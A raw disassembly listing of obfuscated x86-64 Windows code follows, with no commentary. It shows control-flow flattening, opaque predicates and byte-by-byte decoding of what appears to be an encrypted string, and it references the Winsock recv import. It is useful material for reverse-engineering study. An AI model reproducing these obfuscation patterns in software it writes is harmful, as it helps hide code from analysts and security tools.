movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003d30a
mov eax, 0x67a35c15
jmp 0x14003d30a
mov eax, 0xbdd48bda
jmp 0x14003d30a
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d30a
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 4], al
movzx r8d, byte [rdx + 5]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d40c
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 5
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003d465
cmp eax, 0xbdd48bda
je 0x14003d3e7
cmp eax, 0xd2316897
je 0x14003d4ad
cmp eax, 0xd33d59a2
jne 0x14003d447
jmp 0x14003d4d3
cmp eax, 0x155c28c4
je 0x14003d4a6
cmp eax, 0x67a35c15
je 0x14003d4b4
cmp eax, 0x1d3fd1c7
jne 0x14003d447
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14003d447
mov eax, 0x67a35c15
jmp 0x14003d447
mov eax, 0xbdd48bda
jmp 0x14003d447
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d447
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov r8, rsp
mov byte [r9 + 5], al
movzx ecx, byte [rdx + 6]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d55a
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 6
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
mov al, 0xf4
sub al, r15b
add r15b, 0xb
and al, 0xec
and r15b, 0x13
or r15b, al
xor r15b, cl
xor r15b, 0xec
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [r10 + 1]
imul r14d, r10d
mov r10d, r14d
xor r10d, 0xfffffffe
test r10d, r14d
sete r12b
cmp esi, 0xa
setl r13b
xor r13b, r12b
mov r12d, 0x155c28c4
cmovne r12d, r11d
test r10d, r14d
mov r13d, r12d
cmove r13d, r11d
cmp esi, 0xa
cmovge r13d, r12d
cmp eax, 0x155c28c3
jg 0x14003d5c4
cmp eax, 0xbdd48bda
je 0x14003d523
cmp eax, 0xd2316897
je 0x14003d60c
cmp eax, 0xd33d59a2
jne 0x14003d5a2
jmp 0x14003d632
cmp eax, 0x155c28c4
je 0x14003d605
cmp eax, 0x67a35c15
je 0x14003d613
cmp eax, 0x1d3fd1c7
jne 0x14003d5a2
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14003d5a2
mov eax, 0x67a35c15
jmp 0x14003d5a2
mov eax, 0xbdd48bda
jmp 0x14003d5a2
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d5a2
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, r8
mov rcx, rsp
mov byte [r9 + 6], al
movzx r8d, byte [rdx + 7]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax - 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d6b1
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 7
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
mov r15b, 0xf4
sub r15b, al
add al, 0xb
xor r15b, al
and r15b, r8b
xor r15b, al
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003d70a
cmp eax, 0xbdd48bda
je 0x14003d683
cmp eax, 0xd2316897
je 0x14003d752
cmp eax, 0xd33d59a2
jne 0x14003d6ec
jmp 0x14003d778
cmp eax, 0x155c28c4
je 0x14003d74b
cmp eax, 0x67a35c15
je 0x14003d759
cmp eax, 0x1d3fd1c7
jne 0x14003d6ec
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14003d6ec
mov eax, 0x67a35c15
jmp 0x14003d6ec
mov eax, 0xbdd48bda
jmp 0x14003d6ec
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d6ec
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 7], al
movzx r8d, byte [rdx + 8]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d7f6
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003d84f
mov qword [rbp + 0xd8], rsp
mov rcx, rsp
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x198], rax
mov r9, qword [rbp + 0x198]
movzx r8d, byte [rdx]
mov eax, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete byte [rbp + 0x128]
cmp esi, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003efaf
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 0
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov esi, dword [0x1402b5e68]
lea r14d, [rsi + 1]
imul r14d, esi
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete sil
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl r14b
xor r14b, sil
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f00d
cmp eax, 0xbdd48bda
je 0x14003ef81
cmp eax, 0xd2316897
je 0x14003f058
cmp eax, 0xd33d59a2
jne 0x14003efec
jmp 0x14003f0a5
cmp eax, 0x155c28c4
je 0x14003f051
cmp eax, 0x67a35c15
je 0x14003f05f
cmp eax, 0x1d3fd1c7
jne 0x14003efec
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
mov r14d, 0x155c28c4
cmovne r14d, ebx
test al, al
mov eax, r14d
cmovne eax, ebx
test sil, sil
cmove eax, r14d
jmp 0x14003efec
mov eax, 0x67a35c15
jmp 0x14003efec
mov eax, 0xbdd48bda
jmp 0x14003efec
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003efec
mov eax, dword [0x1402b5e78]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x1ce5320b
mov r9d, 0x4d130ca6
jmp 0x140041161
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9], al
movzx r8d, byte [rdx + 1]
mov eax, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rax - 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete byte [rbp + 0x128]
cmp esi, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f11d
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 1
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov esi, dword [0x1402b5e68]
lea r14d, [rsi + 1]
imul r14d, esi
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete sil
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl r14b
xor r14b, sil
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f178
cmp eax, 0xbdd48bda
je 0x14003f0f8
cmp eax, 0xd2316897
je 0x14003f1c0
cmp eax, 0xd33d59a2
jne 0x14003f15a
jmp 0x14003f1e6
cmp eax, 0x155c28c4
je 0x14003f1b9
cmp eax, 0x67a35c15
je 0x14003f1c7
cmp eax, 0x1d3fd1c7
jne 0x14003f15a
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test sil, sil
cmove eax, edi
test r14b, r14b
cmovne eax, ebx
jmp 0x14003f15a
mov eax, 0x67a35c15
jmp 0x14003f15a
mov eax, 0xbdd48bda
jmp 0x14003f15a
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f15a
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 1], al
movzx r8d, byte [rdx + 2]
mov eax, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete byte [rbp + 0x128]
cmp esi, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f266
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 2
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov esi, dword [0x1402b5e68]
lea r14d, [rsi + 1]
imul r14d, esi
mov esi, r14d
xor esi, 0xfffffffe
test esi, r14d
sete sil
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl r14b
xor r14b, sil
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f2bf
cmp eax, 0xbdd48bda
je 0x14003f238
cmp eax, 0xd2316897
je 0x14003f307
cmp eax, 0xd33d59a2
jne 0x14003f2a1
jmp 0x14003f32d
cmp eax, 0x155c28c4
je 0x14003f300
cmp eax, 0x67a35c15
je 0x14003f30e
cmp eax, 0x1d3fd1c7
jne 0x14003f2a1
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test sil, sil
cmove eax, edi
test r14b, r14b
cmovne eax, ebx
jmp 0x14003f2a1
mov eax, 0x67a35c15
jmp 0x14003f2a1
mov eax, 0xbdd48bda
jmp 0x14003f2a1
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f2a1
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 2], al
movzx r8d, byte [rdx + 3]
mov eax, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rax - 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete byte [rbp + 0x128]
cmp esi, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f3a6
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 3
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov esi, dword [0x1402b5e68]
mov r14d, dword [0x1402b5e6c]
lea r12d, [rsi + 1]
imul r12d, esi
mov esi, r12d
xor esi, 0xfffffffe
test esi, r12d
sete r13b
cmp r14d, 0xa
setl r10b
xor r10b, r13b
mov r10d, 0x155c28c4
cmovne r10d, r11d
test esi, r12d
mov r13d, r10d
cmove r13d, r11d
cmp r14d, 0xa
cmovge r13d, r10d
cmp eax, 0x155c28c3
jg 0x14003f40d
cmp eax, 0xbdd48bda
je 0x14003f381
cmp eax, 0xd2316897
je 0x14003f455
cmp eax, 0xd33d59a2
jne 0x14003f3ef
jmp 0x14003f47b
cmp eax, 0x155c28c4
je 0x14003f44e
cmp eax, 0x67a35c15
je 0x14003f45c
cmp eax, 0x1d3fd1c7
jne 0x14003f3ef
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003f3ef
mov eax, 0x67a35c15
jmp 0x14003f3ef
mov eax, 0xbdd48bda
jmp 0x14003f3ef
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f3ef
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 3], al
movzx r8d, byte [rdx + 4]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax - 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f4f1
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 4
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [r10 + 1]
imul r14d, r10d
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete r10b
cmp esi, 0xa
setl r12b
xor r12b, r10b
mov r10d, 0x155c28c4
cmovne r10d, r11d
cmp r14d, 0xffffffff
mov r13d, r10d
cmove r13d, r11d
cmp esi, 0xa
cmovge r13d, r10d
cmp eax, 0x155c28c3
jg 0x14003f559
cmp eax, 0xbdd48bda
je 0x14003f4cc
cmp eax, 0xd2316897
je 0x14003f5a1
cmp eax, 0xd33d59a2
jne 0x14003f53b
jmp 0x14003f5c7
cmp eax, 0x155c28c4
je 0x14003f59a
cmp eax, 0x67a35c15
je 0x14003f5a8
cmp eax, 0x1d3fd1c7
jne 0x14003f53b
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003f53b
mov eax, 0x67a35c15
jmp 0x14003f53b
mov eax, 0xbdd48bda
jmp 0x14003f53b
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f53b
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 4], al
movzx r8d, byte [rdx + 5]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f646
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 5
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
mov r10d, esi
xor r10d, 0xfffffffe
test r10d, esi
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f6a1
cmp eax, 0xbdd48bda
je 0x14003f618
cmp eax, 0xd2316897
je 0x14003f6e9
cmp eax, 0xd33d59a2
jne 0x14003f683
jmp 0x14003f70f
cmp eax, 0x155c28c4
je 0x14003f6e2
cmp eax, 0x67a35c15
je 0x14003f6f0
cmp eax, 0x1d3fd1c7
jne 0x14003f683
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003f683
mov eax, 0x67a35c15
jmp 0x14003f683
mov eax, 0xbdd48bda
jmp 0x14003f683
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f683
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 5], al
movzx r8d, byte [rdx + 6]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f78d
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 6
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f7e6
cmp eax, 0xbdd48bda
je 0x14003f75f
cmp eax, 0xd2316897
je 0x14003f82e
cmp eax, 0xd33d59a2
jne 0x14003f7c8
jmp 0x14003f854
cmp eax, 0x155c28c4
je 0x14003f827
cmp eax, 0x67a35c15
je 0x14003f835
cmp eax, 0x1d3fd1c7
jne 0x14003f7c8
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003f7c8
mov eax, 0x67a35c15
jmp 0x14003f7c8
mov eax, 0xbdd48bda
jmp 0x14003f7c8
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f7c8
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 6], al
movzx r8d, byte [rdx + 7]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003f8ca
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 7
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
mov r10d, esi
xor r10d, 0xfffffffe
test r10d, esi
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003f925
cmp eax, 0xbdd48bda
je 0x14003f8a5
cmp eax, 0xd2316897
je 0x14003f96d
cmp eax, 0xd33d59a2
jne 0x14003f907
jmp 0x14003f993
cmp eax, 0x155c28c4
je 0x14003f966
cmp eax, 0x67a35c15
je 0x14003f974
cmp eax, 0x1d3fd1c7
jne 0x14003f907
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003f907
mov eax, 0x67a35c15
jmp 0x14003f907
mov eax, 0xbdd48bda
jmp 0x14003f907
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003f907
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 7], al
movzx r8d, byte [rdx + 8]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003fa12
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003fa6b
cmove eax, r9d
cmp dword [0x1402b5e7c], 0xa
mov r8d, 0x1ce5320b
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, r9d
jmp 0x14003cce0
cmp eax, 0xa278ae27
je 0x140045646
cmp eax, 0xad47fae5
jne 0x14003cca5
mov qword [rbp + 0xd0], rsp
mov r13, qword [rbp + 0x188]
mov eax, 0x67192fc0
cmp eax, 0x309ae7e6
jle 0x1400411da
cmp eax, 0x309ae7e7
je 0x1400455a8
cmp eax, 0x4d130ca6
je 0x140043378
cmp eax, 0x67192fc0
jne 0x1400411af
mov eax, 0xce0844b9
jmp 0x1400411af
cmp eax, 0xce0844b9
je 0x1400434eb
cmp eax, 0x1ce5320b
jne 0x1400411af
mov qword [rbp + 0xd8], rsp
mov rcx, rsp
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x198], rax
mov r9, qword [rbp + 0x198]
movzx r8d, byte [r13]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041266
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 0
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete sil
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl r14b
xor r14b, sil
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x1400412b9
cmp eax, 0xbdd48bda
je 0x140041241
cmp eax, 0xd2316897
je 0x140041304
cmp eax, 0xd33d59a2
jne 0x14004129b
jmp 0x140041329
cmp eax, 0x155c28c4
je 0x1400412fd
cmp eax, 0x67a35c15
je 0x14004130b
cmp eax, 0x1d3fd1c7
jne 0x14004129b
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
mov r14d, 0x155c28c4
cmovne r14d, ebx
test al, al
mov eax, r14d
cmovne eax, ebx
test sil, sil
cmove eax, r14d
jmp 0x14004129b
mov eax, 0x67a35c15
jmp 0x14004129b
mov eax, 0xbdd48bda
jmp 0x14004129b
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x14004129b
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9], al
movzx r8d, byte [r13 + 1]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14004139c
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 1
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete sil
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl r14b
xor r14b, sil
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x1400413ef
cmp eax, 0xbdd48bda
je 0x140041377
cmp eax, 0xd2316897
je 0x140041437
cmp eax, 0xd33d59a2
jne 0x1400413d1
jmp 0x14004145c
cmp eax, 0x155c28c4
je 0x140041430
cmp eax, 0x67a35c15
je 0x14004143e
cmp eax, 0x1d3fd1c7
jne 0x1400413d1
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test sil, sil
cmove eax, edi
test r14b, r14b
cmovne eax, ebx
jmp 0x1400413d1
mov eax, 0x67a35c15
jmp 0x1400413d1
mov eax, 0xbdd48bda
jmp 0x1400413d1
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x1400413d1
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 1], al
movzx r8d, byte [r13 + 2]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
